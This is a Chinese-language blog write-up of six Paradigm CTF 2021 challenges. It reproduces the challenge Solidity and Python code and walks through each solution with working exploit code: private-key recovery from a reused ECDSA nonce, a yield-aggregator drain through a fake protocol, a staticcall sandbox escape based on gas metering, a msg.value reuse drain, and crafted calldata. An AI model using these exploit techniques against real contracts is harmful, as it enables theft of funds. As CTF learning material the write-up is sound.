源起

这两天开始做 Paradigm CTF 2021,首先 搭了环境

搭建环境的过程中,发现可能比赛没有实时排名,感觉自己直接做的话,48 小时之内做不出多少题目

于是开个透视挂,根据排行榜简单统计了各题的通关情况,准备从易到难做起

  • 52 | HELLO
  • 46 | SECURE
  • 35 | BABYCRYPTO
  • 26 | BROKER
  • 24 | FARMER
  • 22 | YIELD_AGGREGATOR
  • 22 | BOUNCER
  • 21 | BABYSANDBOX
  • 7 | MARKET
  • 7 | LOCKBOX
  • 5 | REVER
  • 4 | BANK
  • 3 | VAULT
  • 3 | UPGRADE
  • 3 | BABYREV

通关数据非常有趣,第 8 题和 第 9 题的通关人数,从 21 直接掉到 7,感觉区分度很高

目标是做出不算 HELLO 的前 8 题

结果

毕竟还是太弱了,两天时间合计花了 25 小时,只做出 6 题

周二 10:00 - 23:00 SECUREBABYCRYPTOYIELD_AGGRAGATORBABYSANDBOX

周三 10:00 - 24:00 BOUNCERLOCKBOX

趁着还有印象,这里简单记录下解题过程

Secure

题目

My contract is 100% secure, it's impossible to hack.

要求使得目标合约拥有 50 WETH

pragma solidity 0.5.12;

contract ERC20Like {
    function transfer(address dst, uint qty) public returns (bool);
    function transferFrom(address src, address dst, uint qty) public returns (bool);
    function approve(address dst, uint qty) public returns (bool);

    function balanceOf(address who) public view returns (uint);
}

contract TokenModule {
    function deposit(ERC20Like token, address from, uint amount) public {
        token.transferFrom(from, address(this), amount);
    }

    function withdraw(ERC20Like token, address to, uint amount) public {
        token.transfer(to, amount);
    }
}

contract Wallet {
    address public owner = msg.sender;

    mapping(address => bool) _allowed;
    mapping(address => bool) _operators;

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    modifier onlyOwnerOrOperators {
        require(msg.sender == owner || _operators[msg.sender]);
        _;
    }

    function allowModule(address module) public onlyOwner {
        _allowed[module] = true;
    }

    function disallowModule(address module) public onlyOwner {
        _allowed[module] = false;
    }

    function addOperator(address operator) public onlyOwner {
        _operators[owner] = true;
    }

    function removeOperator(address operator) public onlyOwner {
        _operators[owner] = false;
    }

    function execModule(address module, bytes memory data) public onlyOwnerOrOperators {
        require(_allowed[module], "execModule/not-allowed");
        (bool ok, bytes memory res) = module.delegatecall(data);
        require(ok, string(res));
    }
}
pragma solidity 0.5.12;

import "./Wallet.sol";

contract WETH9 is ERC20Like {
    function deposit() public payable;
}

contract Setup {
    WETH9 public constant WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    uint public constant WANT = 50 ether;

    Wallet public wallet;

    constructor() public payable {
        require(msg.value == WANT);

        address tokenModule = address(new TokenModule());

        wallet = new Wallet();
        wallet.allowModule(tokenModule);

        WETH.deposit.value(msg.value)();
        WETH.approve(address(wallet), uint(-1));

        wallet.execModule(tokenModule, abi.encodeWithSelector(TokenModule(0x00).deposit.selector, WETH, address(this), msg.value));
    }

    function isSolved() public view returns (bool) {
        return WETH.balanceOf(address(this)) == WANT;
    }
}

题解

出师不利,第一题就花了不少时间,可能因为出题人 samczsun 光环太盛,下意识觉得题目很难,怎么都找不到漏洞...

最后发现直接仿照构造函数用 ETH 换回 WETH 后转给目标合约就行..

BabyCrypto

I've written a super simple program to sign some data. Hopefully I didn't mess anything up!

任意输入 4 段文本消息,题目将返回对应签名的 rs

然后题目给出消息哈希,要求输入使用相同私钥计算得到签名信息

题目

from random import SystemRandom
from ecdsa import ecdsa
import sha3
import binascii
from typing import Tuple
import uuid
import os

def gen_keypair() -> Tuple[ecdsa.Private_key, ecdsa.Public_key]:
    """
    generate a new ecdsa keypair
    """
    g = ecdsa.generator_secp256k1
    d = SystemRandom().randrange(1, g.order())
    pub = ecdsa.Public_key(g, g * d)
    priv = ecdsa.Private_key(pub, d)
    return priv, pub

def gen_session_secret() -> int:
    """
    generate a random 32 byte session secret
    """
    with open("/dev/urandom", "rb") as rnd:
        seed1 = int(binascii.hexlify(rnd.read(32)), 16)
        seed2 = int(binascii.hexlify(rnd.read(32)), 16)
    return seed1 ^ seed2

def hash_message(msg: str) -> int:
    """
    hash the message using keccak256, truncate if necessary
    """
    k = sha3.keccak_256()
    k.update(msg.encode("utf8"))
    d = k.digest()
    n = int(binascii.hexlify(d), 16)
    olen = ecdsa.generator_secp256k1.order().bit_length() or 1
    dlen = len(d)
    n >>= max(0, dlen - olen)
    return n

if __name__ == "__main__":
    flag = os.getenv("FLAG", "PCTF{placeholder}")

    priv, pub = gen_keypair()
    session_secret = gen_session_secret()

    for _ in range(4):
        message = input("message? ")
        hashed = hash_message(message)
        sig = priv.sign(hashed, session_secret)
        print(f"r=0x{sig.r:032x}")
        print(f"s=0x{sig.s:032x}")

    test = hash_message(uuid.uuid4().hex)
    print(f"test=0x{test:032x}")

    r = int(input("r? "), 16)
    s = int(input("s? "), 16)

    if not pub.verifies(test, ecdsa.Signature(r, s)):
        print("better luck next time")
        exit(1)

    print(flag)

题解

输入消息 hello, paradigm, ctf, 2021,得到签名如下

$ nc localhost 31337
message? hello
r=0xa50e98018e93698bc551354d1f0fed5f92c8bd8906fe6c1760fe11b20fd14339
s=0xf4b9f5860df5b2748b4a948d1710a03b461942e93a20b416bacac54044c27014
message? paradigm
r=0xa50e98018e93698bc551354d1f0fed5f92c8bd8906fe6c1760fe11b20fd14339
s=0xb6bc88f6f31463d6600a9af417f0f3b24c0ab586bf3c3d3367977f4eb823d257
message? ctf
r=0xa50e98018e93698bc551354d1f0fed5f92c8bd8906fe6c1760fe11b20fd14339
s=0x756284ebacbc19308286c559139b0c889b6627b0387172a2abc818d734a867ce
message? 2021
r=0xa50e98018e93698bc551354d1f0fed5f92c8bd8906fe6c1760fe11b20fd14339
s=0xbeae78ea5666805b0c52ab42166290d11d76a2e06b7927b830af73dbdba945e0
test=0xeb7de88c1c6262eca1e7f696dd0383299c697248b0a0f102198749fa4af7882e
r?
s?

可以发现四个签名的 r 都是相同的,即签名时随机数相同

基本类似做过的题目 Capture the Ether #18 Account Takeover

稍微不同的是,题目未给出 v,所以必须正反算两次

async function exploitBabyCrypto(web3) {
    const ethereumjs_util = require("ethereumjs-util");
    const toBN = web3.utils.toBN;

    // 求解私钥
    if (true)
    {
        const p = toBN('0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141'); // prime

        const r = toBN('0xa50e98018e93698bc551354d1f0fed5f92c8bd8906fe6c1760fe11b20fd14339');

        const s = [
            toBN('0xf4b9f5860df5b2748b4a948d1710a03b461942e93a20b416bacac54044c27014'),
            toBN('0xb6bc88f6f31463d6600a9af417f0f3b24c0ab586bf3c3d3367977f4eb823d257'),
            toBN('0x756284ebacbc19308286c559139b0c889b6627b0387172a2abc818d734a867ce'),
            toBN('0xbeae78ea5666805b0c52ab42166290d11d76a2e06b7927b830af73dbdba945e0')
        ];

        const hash = [ 'hello', 'paradigm', 'ctf', '2021' ].map(x => {
            return toBN('0x' + (ethereumjs_util.keccak(Buffer.from(x), 256)).toString('hex'));
        });

        const _derivatePrivKey = function(p, r, s1, s2, hash1, hash2) {
            const z = hash1.sub(hash2);
            const s = s1.sub(s2);

            const sInv = s.invm(p);
            const k = z.mul(sInv).mod(p);

            const rInv = r.invm(p);
            const d = s1.mul(k).sub(hash1).mul(rInv).mod(p);
            const dNeg = s1.neg().mul(k.neg().mod(p)).sub(hash1).mul(rInv).mod(p);
            return d.eq(dNeg) ? d : '';
        }

        for (var i = 0; i < s.length - 1; i++) {
            const { s1, hash1 } = { s1: s[i], hash1: hash[i] };
            const { s2, hash2 } = { s2: s[i+1], hash2: hash[i+1] };

            const d1 = '0x' + (_derivatePrivKey(p, r, s1, s2, hash1, hash2)).toString(16);
            const d2 = '0x' + (_derivatePrivKey(p, r, s1, s2.neg(), hash1, hash2)).toString(16);
            // console.log(d1);
            // console.log(d2);
        }
    }

    // 签名
    // node_modules/web3-eth-accounts/src/index.js
    if (true) {
        const privateKeyStr = '0x47a54aab87c57f88cae817d363ee33954d8482b1f61fd1719e580c705df3cb1e';
        const hashStr = '0xeb7de88c1c6262eca1e7f696dd0383299c697248b0a0f102198749fa4af7882e';

        const privateKey = Buffer.from(privateKeyStr.slice(2), "hex");
        const hash = Buffer.from(hashStr.slice(2), "hex");

        const { v, r, s } = ethereumjs_util.ecsign(hash, privateKey);
        console.log('v:', v);
        console.log('r:', r.toString('hex'));
        console.log('s:', s.toString('hex'));
    }
}

exploitBabyCrypto();

提交,通关

r? 76af501e14b9d9e3cc67d886bb4b4a94d504491981ea59175051e2810d277e07
s? 2e5adaa1a9930e55fac4e5c0361d81b89f9cafe25dd873da3fc539f6b574c85f
PCTF{placeholder}

Broker 和 Farmer

根据通关人数,接下来本应做 Broker 和 Farmer 两题

结果一读代码,发现它俩跟 UniSwap v2 直接相关,而我对 UniSwap 的了解仅限于 Damn Vulnerable DeFi #8 Puppet 中出现的 V1

读懂题目本身合约,就已经花了不少时间..

找了 UniSwap V2 源码,粗读一遍瞬间头大,概念有点多,感觉不是一两天能搞定

只能无奈放弃

YieldAggragator

题目

Set and forget yield aggregation services are great for the ecosystem.

要求使得聚合器 aggregator 和银行 bank 的 balance 都为 0

pragma solidity 0.8.0;

interface ERC20Like {
    function transfer(address dst, uint256 qty) external returns (bool);

    function transferFrom(
        address src,
        address dst,
        uint256 qty
    ) external returns (bool);

    function balanceOf(address who) external view returns (uint256);

    function approve(address guy, uint256 wad) external returns (bool);
}

interface Protocol {
    function mint(uint256 amount) external;
    function burn(uint256 amount) external;
    function underlying() external view returns (ERC20Like);
    function balanceUnderlying() external view returns (uint256);
    function rate() external view returns (uint256);
}

// accepts multiple tokens and forwards them to banking protocols compliant to an
// interface
contract YieldAggregator {
    address public owner;
    address public harvester;

    mapping (address => uint256) public poolTokens;

    constructor() {
        owner = msg.sender;
    }

    function deposit(Protocol protocol, address[] memory tokens, uint256[] memory amounts) public {
        uint256 balanceBefore = protocol.balanceUnderlying();
        for (uint256 i= 0; i < tokens.length; i++) {
            address token = tokens[i];
            uint256 amount = amounts[i];

            ERC20Like(token).transferFrom(msg.sender, address(this), amount);
            ERC20Like(token).approve(address(protocol), 0);
            ERC20Like(token).approve(address(protocol), amount);
            // reset approval for failed mints
            try protocol.mint(amount) { } catch {
                ERC20Like(token).approve(address(protocol), 0);
            }
        }
        uint256 balanceAfter = protocol.balanceUnderlying();
        uint256 diff = balanceAfter - balanceBefore;
        poolTokens[msg.sender] += diff;
    }

    function withdraw(Protocol protocol, address[] memory tokens, uint256[] memory amounts) public {
        uint256 balanceBefore = protocol.balanceUnderlying();
        for (uint256 i= 0; i < tokens.length; i++) {
            address token = tokens[i];
            uint256 amount = amounts[i];
            protocol.burn(amount);
            ERC20Like(token).transfer(msg.sender, amount);
        }
        uint256 balanceAfter = protocol.balanceUnderlying();

        uint256 diff = balanceBefore - balanceAfter;
        poolTokens[msg.sender] -= diff;
    }
}
pragma solidity 0.8.0;

import "./YieldAggregator.sol";

// dumb bank with 0% interest rates
contract MiniBank is Protocol {
    ERC20Like public override underlying = ERC20Like(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    mapping (address => uint256) public balanceOf;
    uint256 public totalSupply;

    function mint(uint256 amount) public override {
        require(underlying.transferFrom(msg.sender, address(this), amount));
        balanceOf[msg.sender] += amount;
        totalSupply += amount;
    }

    function burn(uint256 amount) public override {
        balanceOf[msg.sender] -= amount;
        totalSupply -= amount;
        require(underlying.transfer(msg.sender, amount));
    }

    function balanceUnderlying() public override view returns (uint256) {
        return underlying.balanceOf(address(this));
    }

    function rate() public override view returns (uint256) {
        return 1;
    }
}

interface WETH9 is ERC20Like {
    function deposit() external payable;
}

contract Setup {
    YieldAggregator public aggregator;
    MiniBank public bank;
    WETH9 constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

    constructor() payable {
        require(msg.value == 100 ether);
        bank = new MiniBank();

        aggregator = new YieldAggregator();

        weth.deposit{value: msg.value}();
        weth.approve(address(aggregator), type(uint256).max);

        address[] memory _tokens = new address[](1);
        _tokens[0] = address(weth);

        uint256[] memory _amounts = new uint256[](1);
        _amounts[0] = 50 ether;

        // we deposit 50 weth to the system
        aggregator.deposit(Protocol(address(bank)), _tokens, _amounts);
    }

    function isSolved() public view returns (bool) {
        return weth.balanceOf(address(aggregator)) == 0 &&
            weth.balanceOf(address(bank)) == 0;
    }
}

题解

对金融产品不太熟悉,理解代码花了一些时间

直观感觉是 YieldAggregator.deposit(Protocol protocol, address[] memory tokens, uint256[] memory amounts) 写法存在问题

参数 protocoltokens 都由外界传入,且未做检查

首先研究 protocol 的利用,发现存款和取款函数中,poolTokens 都未区分具体每个 protocal 的存款,而是只计算了总数

即攻击者在 A 银行为空户,在自己控制的 B 银行有 50 WETH,聚合器只维护了攻击者总额为 50 WETH

此时攻击者可以要求聚合器取出他在 A 银行 的 50 WETH..

构造攻击代码如下

pragma solidity 0.8.0;

import "./Setup.sol";

contract ExploitYieldAggregator {
    //WETH9 constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // mainnet
    WETH9 constant weth = WETH9(0x708F24067e1411068411701a9b8176B05f5CA1D1); // ropsten

    constructor(address _bank, address _aggregator) payable {
        require(msg.value == 50 gwei);

        weth.deposit{value: msg.value}();
        weth.approve(_aggregator, type(uint256).max);

        MiniBank exploitBank = new MiniBank();

        address[] memory _tokens = new address[](1);
        _tokens[0] = address(weth);

        uint256[] memory _amounts = new uint256[](1);
        _amounts[0] = 50 gwei;

        YieldAggregator aggregator = YieldAggregator(_aggregator);
        aggregator.deposit(Protocol(address(exploitBank)), _tokens, _amounts);

        aggregator.withdraw(Protocol(_bank), _tokens, _amounts);
    }
}

BabySandbox

I read that staticcall will keep my contracts safe.

题目合约使用 staticcall 实现沙箱,要求发现其中漏洞并销毁这个合约

题目

pragma solidity 0.7.0;

contract BabySandbox {
    function run(address code) external payable {
        assembly {
            // if we're calling ourselves, perform the privileged delegatecall
            if eq(caller(), address()) {
                switch delegatecall(gas(), code, 0x00, 0x00, 0x00, 0x00)
                    case 0 {
                        returndatacopy(0x00, 0x00, returndatasize())
                        revert(0x00, returndatasize())
                    }
                    case 1 {
                        returndatacopy(0x00, 0x00, returndatasize())
                        return(0x00, returndatasize())
                    }
            }

            // ensure enough gas
            if lt(gas(), 0xf000) {
                revert(0x00, 0x00)
            }

            // load calldata
            calldatacopy(0x00, 0x00, calldatasize())

            // run using staticcall
            // if this fails, then the code is malicious because it tried to change state
            if iszero(staticcall(0x4000, address(), 0, calldatasize(), 0, 0)) {
                revert(0x00, 0x00)
            }

            // if we got here, the code wasn't malicious
            // run without staticcall since it's safe
            switch call(0x4000, address(), 0, 0, calldatasize(), 0, 0)
                case 0 {
                    returndatacopy(0x00, 0x00, returndatasize())
                    // revert(0x00, returndatasize())
                }
                case 1 {
                    returndatacopy(0x00, 0x00, returndatasize())
                    return(0x00, returndatasize())
                }
        }
    }
}
pragma solidity 0.7.0;

import "./BabySandbox.sol";

contract Setup {
    BabySandbox public sandbox;

    constructor() {
        sandbox = new BabySandbox();
    }

    function isSolved() public view returns (bool) {
        uint size;
        assembly {
            size := extcodesize(sload(sandbox.slot))
        }
        return size == 0;
    }
}

题解

这题基本一入手就知道肯定要利用 delegate 调用 selfdestruct 了,只是前面有个 staticcall 需要绕过

直接先写了必定失败的攻击合约如下,部署后调用发现果然失败

pragma solidity 0.7.0;

import "./BabySandbox.sol";

contract ExploitSandBox {
    fallback() external {
        selfdestruct(tx.origin);
    }
}

思考重点变成怎样在 fallback() 中,判断是首次调用,进而直接返回

下意识想到随机,随即意识到不管是区块时间,还是区块号,区块哈希等,两次调用都是相同的,此路不通

这时脑子一转,想起此前做 Ethernaut #13 Gatekeeper One 时因为黄皮书与实际消耗 gas 不符,导致反复翻了源码,了解到存在几个 EIP 改了计算方式,在黄皮书中未体现

比如 3 月份的 Berlin 升级中引入了 EIP 2929

此时反应过来可以利用冷热数据消耗不同 gas 的特性来判断首次和二次

再次看了题目代码,发现题目合约 assembly 中未曾通过 EXTCODESIZE 检查 code 地址是否代码,因此对 code 的两次调用分别为首次调用和再次调用,消耗 gas 分别为 2600 和 100

staticcallcall 发送的都是 0x4000 (16384)

修改攻击合约如下,15000 是在 [16484 - 2600 = 13384,16484] 范围内的随机取值

pragma solidity 0.7.0;

import "./BabySandbox.sol";

contract ExploitSandBox {
    fallback() external {
        bool destruct = gasleft() > 15000;
        if (destruct) {
            selfdestruct(tx.origin);
        }
    }
}

Bouncer

题目

Can you enter the party?

要求取出目标的全部 balance

pragma solidity 0.8.0;

interface ERC20Like {
    function transfer(address dst, uint qty) external returns (bool);
    function transferFrom(address src, address dst, uint qty) external returns (bool);
    function approve(address dst, uint qty) external returns (bool);
    function allowance(address src, address dst) external returns (uint256);
    function balanceOf(address who) external view returns (uint);
}

contract Bouncer {
    address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    uint256 public constant entryFee = 1 ether;

    address owner;
    constructor() payable {
        owner = msg.sender;
    }

    mapping (address => address) public delegates;
    mapping (address => mapping (address => uint256)) public tokens;
    struct Entry {
        uint256 amount;
        uint256 timestamp;
        ERC20Like token;
    }
    mapping (address => Entry[]) entries;

    // declare intent to enter
    function enter(address token, uint256 amount) public payable {
        require(msg.value == entryFee, "err fee not paid");
        entries[msg.sender].push(Entry ({
            amount: amount,
            token: ERC20Like(token),
            timestamp: block.timestamp
        }));
    }

    function convertMany(address who, uint256[] memory ids) payable public {
        for (uint256 i = 0; i < ids.length; i++) {
            convert(who, ids[i]);
        }
    }

    // use the returned number to gatekeep
    function contributions(address who, address[] memory coins) public view returns (uint256[] memory) {
        uint256[] memory res = new uint256[](coins.length);
        for (uint256 i = 0; i < coins.length; i++) {
            res[i] = tokens[who][coins[i]];
        }
        return res;
    }

    // convert your erc20s to tokens
    function convert(address who, uint256 id) payable public {
        Entry memory entry = entries[who][id];
        require(block.timestamp != entry.timestamp, "err/wait after entering");
        if (address(entry.token) != ETH) {
            require(entry.token.allowance(who, address(this)) == type(uint256).max, "err/must give full approval");
        }
        require(msg.sender == who || msg.sender == delegates[who]);
        proofOfOwnership(entry.token, who, entry.amount);
        tokens[who][address(entry.token)] += entry.amount;
    }

    // redeem your tokens for their underlying erc20
    function redeem(ERC20Like token, uint256 amount) public {
        tokens[msg.sender][address(token)] -= amount;
        payout(token, msg.sender, amount);
    }

    function payout(ERC20Like token, address to, uint256 amount) private {
        if (address(token) == ETH) {
            payable(to).transfer(amount);
        } else {
            require(token.transfer(to, amount), "err/not enough tokens");
        }
    }

    function proofOfOwnership(ERC20Like token, address from, uint256 amount) public payable {
        if (address(token) == ETH) {
            require(msg.value == amount, "err/not enough tokens");
        } else {
            require(token.transferFrom(from, address(this), amount), "err/not enough tokens");
        }
    }

    function addDelegate(address from, address to) public {
        require(msg.sender == owner || msg.sender == from);
        delegates[from] = to;
    }

    function removeDelegate(address from) public {
        require(msg.sender == owner || msg.sender == from);
        delete delegates[from];
    }

    // get all the fees given during registration
    function claimFees() public {
        require(msg.sender == owner);
        payable(msg.sender).transfer(address(this).balance);
    }

    // owner can trigger arbitrary calls
    function hatch(address target, bytes memory data) public {
        require(msg.sender == owner);
        (bool ok, bytes memory res) = target.delegatecall(data);
        require(ok, string(res));
    }
}

contract Party {
    Bouncer bouncer;
    constructor(Bouncer _bouncer) {
        bouncer = _bouncer;
    }

    function isAllowed(address who) public view returns (bool) {
        address[] memory res = new address[](2);
        res[0] = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
        res[1] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        uint256[] memory contribs = bouncer.contributions(who, res);
        uint256 sum;
        for (uint256 i = 0; i < contribs.length; i++) {
            sum += contribs[i];
        }
        return sum > 1000 * 1 ether;
    }
}
pragma solidity 0.8.0;

import "./Bouncer.sol";

interface WETH9 is ERC20Like {
    function deposit() external payable;
}

contract Setup {
    address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    WETH9 constant weth = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
    Bouncer public bouncer;
    Party public party;

    constructor() payable {
        require(msg.value == 100 ether);
        // give some cash to the bouncer for his drinks
        bouncer = new Bouncer{value: 50 ether}();

        // 2 * eth
        bouncer.enter{value: 1 ether}(address(weth), 10 ether);
        bouncer.enter{value: 1 ether}(ETH, 10 ether);

        party = new Party(bouncer);
    }

    function isSolved() public view returns (bool) {
        return address(bouncer).balance == 0;
    }
}

题解

这题理解代码也花了不少时间,发现 Party 没什么用...

目标挺明显: 只有 payout() 调用了 transfer,而 payout() 又只被 redeem() 调用,因此可以肯定要围绕后者展开

redeem() 检查了 tokens[msg.sender][address(token)],而这个变量只在 convert() 中被增加

于是焦点变成了 convert(),很快找到 convertMany(),这时已经找到问题了

发给 converyMany()msg.value,在 proofOfOwnership() 中被多次用来验证

很容易得到攻击合约如下

pragma solidity 0.8.0;

import "./Setup.sol";

contract ExploitBouncer {
    address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
    uint256 public constant entryFee = 1 ether;
    Bouncer bouncer;

    function attack(address _bouncer) public payable {
        bouncer = Bouncer(_bouncer);
        require(msg.value == entryFee);

        uint256 amount = entryFee + address(bouncer).balance;
        bouncer.enter{value: entryFee}(ETH, amount);
    }

    function attackFinish() public payable {
        uint256 amount = address(bouncer).balance;
        require(msg.value == amount);

        uint256[] memory ids = new uint256[](2);
        ids[0] = 0;
        ids[1] = 0;

        bouncer.convertMany{value: amount}(address(this), ids);
        bouncer.redeem(ERC20Like(ETH), address(bouncer).balance);
    }

    receive() external payable {

    }
}

私链

在这里遇到了个小坑,一开始忘记写 payable receive() 了,因此攻击交易被 REVERT,一时没找到原因,只能调试

此时大概是周三下午,容器环境频繁出现问题,转到 ropsten 测试网络发现也异常拥堵,而且 EtherScan 似乎也卡了

有几笔交易应该是等了十几分钟都未被区块确认

只能换了账户,用未曾发出的 nonce 来提交交易,还是等了挺久

过程中发现交易被 MetaMask 确认后,EtherScan 又花了几分钟才确认;再过了几分钟,同一笔交易在 EtherScan 又显示未确认了,估计是发生分叉了.

无奈之下,选择了本机搭建私链...

Lockbox

题目

Isn't ABI encoding fun?

要求绕过题中 6 个条件

pragma solidity 0.4.24;

contract Stage {
    Stage public next;

    constructor(Stage next_) public {
        next = next_;
    }

    function getSelector() public view returns (bytes4);

    modifier _() {
        _;

        assembly {
            let next := sload(next_slot)
            if iszero(next) {
                return(0, 0)
            }

            mstore(0x00, 0x034899bc00000000000000000000000000000000000000000000000000000000)
            pop(call(gas(), next, 0, 0, 0x04, 0x00, 0x04))
            calldatacopy(0x04, 0x04, sub(calldatasize(), 0x04))
            switch call(gas(), next, 0, 0, calldatasize(), 0, 0)
                case 0 {
                    returndatacopy(0x00, 0x00, returndatasize())
                    revert(0x00, returndatasize())
                }
                case 1 {
                    returndatacopy(0x00, 0x00, returndatasize())
                    return(0x00, returndatasize())
                }
        }
    }
}

contract Entrypoint is Stage {
    constructor() public Stage(new Stage1()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }

    bool public solved;

    function solve(bytes4 guess) public _ {
        require(guess == bytes4(blockhash(block.number - 1)), "do you feel lucky?");

        solved = true;
    }
}

contract Stage1 is Stage {
    constructor() public Stage(new Stage2()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }

    function solve(uint8 v, bytes32 r, bytes32 s) public _ {
        require(ecrecover(keccak256("stage1"), v, r, s) == 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf, "who are you?");
    }
}

contract Stage2 is Stage {
    constructor() public Stage(new Stage3()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }

    function solve(uint16 a, uint16 b) public _ {
        require(a > 0 && b > 0 && a + b < a, "something doesn't add up");
    }
}

contract Stage3 is Stage {
    constructor() public Stage(new Stage4()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }

    function solve(uint idx, uint[4] memory keys, uint[4] memory lock) public _ {
        require(keys[idx % 4] == lock[idx % 4], "key did not fit lock");

        for (uint i = 0; i < keys.length - 1; i++) {
            require(keys[i] < keys[i + 1], "out of order");
        }

        for (uint j = 0; j < keys.length; j++) {
            require((keys[j] - lock[j]) % 2 == 0, "this is a bit odd");
        }
    }
}

contract Stage4 is Stage {
    constructor() public Stage(new Stage5()) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }

    function solve(bytes32[6] choices, uint choice) public _ {
        require(choices[choice % 6] == keccak256(abi.encodePacked("choose")), "wrong choice!");
    }
}

contract Stage5 is Stage {
    constructor() public Stage(Stage(0x00)) {} function getSelector() public view returns (bytes4) { return this.solve.selector; }

    function solve() public _ {
        require(msg.data.length < 256, "a little too long");
    }
}
pragma solidity 0.4.24;

import "./Lockbox.sol";

contract Setup {
    Entrypoint public entrypoint;

    constructor() public {
        entrypoint = new Entrypoint();
    }

    function isSolved() public view returns (bool) {
        return entrypoint.solved();
    }
}

题解

还是喜欢这种题目,代码简单读一遍就明白什么意思了..

读完感觉只要肯花时间,这题一定能做出来,.

没想到的是,最花时间的居然是第一个检查...

Stage1

谷歌搜了下题中公钥 0x7E5F4552091A69125d5DfCb7b8C2659029395Bdf

发现其私钥为 0x0000000000000000000000000000000000000000000000000000000000000001

计算签名如下

const ethereumjs_util = require("ethereumjs-util");

const privateKeyStr = '0x0000000000000000000000000000000000000000000000000000000000000001';
const hashStr = '0x' + (ethereumjs_util.keccak(Buffer.from('stage1'), 256)).toString('hex');

const privateKey = Buffer.from(privateKeyStr.slice(2), "hex");
const hash = Buffer.from(hashStr.slice(2), "hex");

var { v, r, s } = ethereumjs_util.ecsign(hash, privateKey);

const stage1 = web3.eth.abi.encodeParameters(['uint8', 'bytes32', 'bytes32'], [
    '0x' + toBN(v).toString(16),
    '0x' + r.toString('hex'),
    '0x' + s.toString('hex')
]);

console.log(`stage1: ${stage1}`);

结果如下

0x
000000000000000000000000000000000000000000000000000000000000001b // v
370df20998cc15afb44c2879a3c162c92e703fc4194527fb6ccf30532ca1dd3b // r
35b3f2e2ff583fed98ff00813ddc7eb17a0ebfc282c011946e2ccbaa9cd3ee67 // s

然后卡了快一个小时,没想明白如何同时满足 Entrypoint.guessStage1.v ..

花了好长时间才想起 bytes32uint8 分占高位和低位,此前下意识觉得都在低位..

构造 inputdata 后手动提交交易,得到 out of order

0xe0d20f73
401dd4630000000000000000000000000000000000000000000000000000001b
370df20998cc15afb44c2879a3c162c92e703fc4194527fb6ccf30532ca1dd3b
35b3f2e2ff583fed98ff00813ddc7eb17a0ebfc282c011946e2ccbaa9cd3ee67

Stage2

简单的溢出问题,修改数据为

0xe0d20f73
401dd463000000000000000000000000000000000000000000000000ffffff1b
370df20998cc15afb44c2879a3c162c92e703fc4194527fb6ccf30532ca1dd3b
35b3f2e2ff583fed98ff00813ddc7eb17a0ebfc282c011946e2ccbaa9cd3ee67

Stage3/Stage5

接下来对着 Stage3 要求,并且看到 Stage5msg.data.length 的要求,明白 Stage2 用错了 v

27 % 4 = 3
28 % 4 = 0

如果 v 使用 27,在 out of order 的要求下,keys[3] 不能为0;此时在 key did not fit lock 要求下,locks[3] 不能为0;此时一定会 a little too long

因此必须重新计算 Stage2,得到 v 为 28 的签名

结果多次调用 ethereumjs_util.ecsign(),得到的 v 都是 27

翻了下 ethereumjs_util.ecsign() 源码,发现底层调用的是

/** Options for the `sign` function */
export interface SignOptions {
    /** Nonce generator. By default it is rfc6979 */
    noncefn?: ((message: Uint8Array, privateKey: Uint8Array, algo: Uint8Array | null,
               data: Uint8Array | null, attempt: number) => Uint8Array) | undefined;

    /**
     * Additional data for noncefn (RFC 6979 3.6) (32 bytes).
     *
     * By default is `null`.
     */
    data?: Uint8Array | undefined;
}

export function ecdsaSign(message: Uint8Array, privateKey: Uint8Array, options?: SignOptions, output?: Uint8Array | ((len: number) => Uint8Array)): {signature: Uint8Array, recid: number};

惊讶地发现 ecdsaSign() 存在第 3 个参数 SignOptionsethereumjs_util.ecsign() 调用时没有传递,因此手动构造参数 3,输入随机数据

结合 out of orderthis is a bit odd 的要求,计算签名的代码如下

const { randomBytes } = require('crypto');

while (true) {
    // node_modules/@types/secp256k1/index.d.ts
    const { signature, recid } = ecdsaSign(hash, privateKey, {data: randomBytes(32)});

    v = recid + 27;
    r = Buffer.from(signature.slice(0, 32))
    s = Buffer.from(signature.slice(32, 64))

    if (v != 28) {
        continue;
    }

    const rBN = toBN('0x' + r.toString('hex'));
    const sBN = toBN('0x' + s.toString('hex'));

    // stage3 require: out of order
    if (sBN.lt(rBN)) {
        continue;
    }

    // stage3 require: this is a bit odd
    if (sBN.isOdd()) {
        continue;
    }

    break;
}

得到符合条件的签名为

0x
000000000000000000000000000000000000000000000000000000000000001c // v
4f84b20dcc5cf7477e99fef15aa92fd479696e300acab3df05421b63922abd98 // r
5f6ba4410d3a1d6302b44fc2163c5bbb4a9b765880a5d0c2644a7bf478285afa // s

重新构造 inputdata 如下

0x
e0d20f73
401dd463000000000000000000000000000000000000000000000000ffffff1c // entrypoint.guest / stage1.v / stage2.a,b / stage3.idx
4f84b20dcc5cf7477e99fef15aa92fd479696e300acab3df05421b63922abd98 // stage1.r / stage3.keys[0]
5f6ba4410d3a1d6302b44fc2163c5bbb4a9b765880a5d0c2644a7bf478285afa // stage1.v / stage3.keys[1]
5f6ba4410d3a1d6302b44fc2163c5bbb4a9b765880a5d0c2644a7bf478285afc // stage3.keys[2]
5f6ba4410d3a1d6302b44fc2163c5bbb4a9b765880a5d0c2644a7bf478285afe // stage3.keys[3]
